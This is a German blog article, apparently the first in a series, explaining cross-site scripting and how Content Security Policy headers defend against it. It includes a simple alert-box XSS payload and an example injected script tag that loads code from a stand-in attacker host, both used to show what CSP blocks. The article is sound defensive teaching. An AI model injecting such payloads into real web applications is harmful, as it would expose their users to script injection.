Dipl.-Inform. Carsten Eilers

Beim XSS wird JavaScript-Code in den Client einer Webanwendung eingeschleust. Das einfachste Beispiel ist die Suchfunktion, die ja fast jede Website bereit stellt. Werden die Eingaben darin ungeprüft und ungefiltert an den Benutzer zurückgegeben, ist darüber das sog. reflektierte XSS möglich: Bei der Suche nach zum Beispiel

<script>alert("XSS!")</script>

wird der eingegebene JavaScript-Code vom Server zurück an den Browser des Benutzers geschickt. Der gibt dann zum Beispiel die Meldung

Ihre Suche nach <script>alert("XSS!")</script> ergab 0 Treffer!

aus - und führt dabei den JavaScript-Code aus.

Weitere Varianten des XSS sind das persistente XSS, bei dem der XSS-Code zum Beispiel in einem Kommentar oder Gästebucheintrag gespeichert wird, und das DOM-basierte XSS, bei dem eine Schwachstelle im Clientseitige Code ausgenutzt wird. Das alles hier ausführlich zu beschreiben würde zum einen den Rahmen sprengen, zum anderen ist es für das Verständnis der Content Security Policy auch gar nicht nötig. Dafür reicht es, wenn sie wissen, dass beim XSS JavaScript-Code in den Clientseitigen Teil der Webanwendung, also dem Teil der im Browser läuft, eingeschleust wird.

Der herkömmliche XSS-Schutz

Um eine Webanwendung vor XSS-Angriffen zu schützen, gibt es prinzipiell zwei Wege: Der eingeschleuste Schadcode kann ausgefiltert werden, wobei prinzipiell die Gefahr besteht, dass zu wenig ausgefiltert wird, so dass ein Angriff weiterhin möglich ist. Oder die Eingaben können so kodiert werden, dass eingefügte Code nicht ausführbar ist. Im obigen Beispiel würde dafür zum Beispiel ausreichen, die < und > in die entsprechenden HTML-Entities &lt; und &gt; umzuwandeln. Der Browser erkannt dann keine zu interpretierenden HTML-Tags, sondern gibt die Befehle einfach als Text aus.

Leider ist das Ausfiltern oder Umkodieren gar nicht so einfach. Möglichkeiten, XSS-Filter zu umgehen, werden zum Beispiel im XSS Filter Evasion Cheat Sheet von OWASP und im HTML5 Security Cheatsheet zusammengefasst. Von der Gefahr, einen Parameter zu übersehen und ihn ohne Anwendung der Schutzfunktion auszugeben, ganz zu schweigen.

Die Content Security Policy im Überblick

Die Content Security Policy (CSP) wird vom W3C standardisiert und erlaubt es, die Verwendung von Skripten im Quelltext der Seite (d.h. Inline-Skripten) zu verbieten. Alle von der Seite benötigten Skripte werden dann in separate Dateien ausgelagert, und über eine Whitelist wird festgelegt, ob überhaupt Skripte geladen werden dürfen und wenn ja, von welchen Quellen dieses Nachladen erlaubt ist.

Das gleiche gilt sinngemäß auch für Frames, Bilder, Multimedia-Dateien, Plug-Ins, Stylesheets (CSS-Dateien) und Schriften. Außerdem kann festgelegt werden, mit welchen Servern der Browser über XMLHttpRequests, WebSockets und Server-Sent Events kommunizieren darf.

Die Content Security Policy im Einsatz

Die Content Security Policy wird vom Webserver über den HTTP-Header Content-Security-Policy festgelegt. Während der Entwicklung des Standards nutzten die Browser einen Header mit Prefix: X-Webkit-CSP (Google Chrome und Safari) und X-Content-Security-Policy (Firefox und Internet Explorer 10, letzter unterstützt aber nur die Sandbox der CSP). Seit Chrome 25 und Firefox 23 wird von diesen beiden Browsern der Prefix-lose Header unterstützt.

Ausführlich wird die CSP im W3C-Standard beschrieben (wer hätte das gedacht?), ein paar Beispiel zeigen aber, wie das Ganze funktioniert. Fangen wir mit den Skripten an.

Content-Security-Policy: script-src 'self'

legt fest, dass Skripte nur von der eigenen Origin (also dem Server, von dem die Seite geladen wurde) nachgeladen werden dürfen. Möchten Sie auch Skripte von vertrauenswürdigen fremden Servern laden, geben Sie die einfach im Content-Security-Policy-Header an, zum Beispiel https://apis.google.com:

Content-Security-Policy: script-src 'self' https://apis.google.com

Jetzt können Skripte von der eigenen Domain und von apis.google.com nachgeladen werden, letzteres aber nur über HTTPS und nicht über HTTP. Die Verwendung von HTTPS sorgt dafür, dass nur Skripte von einem Server geladen werden, der sich mit einem gültigen Zertifikat als apis.google.com ausweist.

Schleust ein Angreifer nun zum Beispiel ein Tag wie

<script src="http://angreifer.example/boeses.js"></script>

in die Seite ein, gibt der Browser nur eine Fehlermeldung aus statt das Skript von angreifer.example zu laden, denn dieser Server ist keine zulässige Quelle für Skripte.

Entsprechende Anweisungen gibt es wie schon erwähnt auch für viele weitere Ressourcen. Welche, erfahren Sie in der nächsten Folge.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 1

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 2

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 3

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 4

Schutzmaßnahmen: Der Pufferüberlauf im Überblick

Schutzmaßnahmen: Canary und DEP gegen Pufferüberlauf-Schwachstellen

Schutzmaßnahmen: ASLR gegen Pufferüberlauf-Schwachstellen

Schutzmaßnahmen: ASLR kann unterlaufen werden

Schutzmaßnahmen: Weitere Angriffe trotz ASLR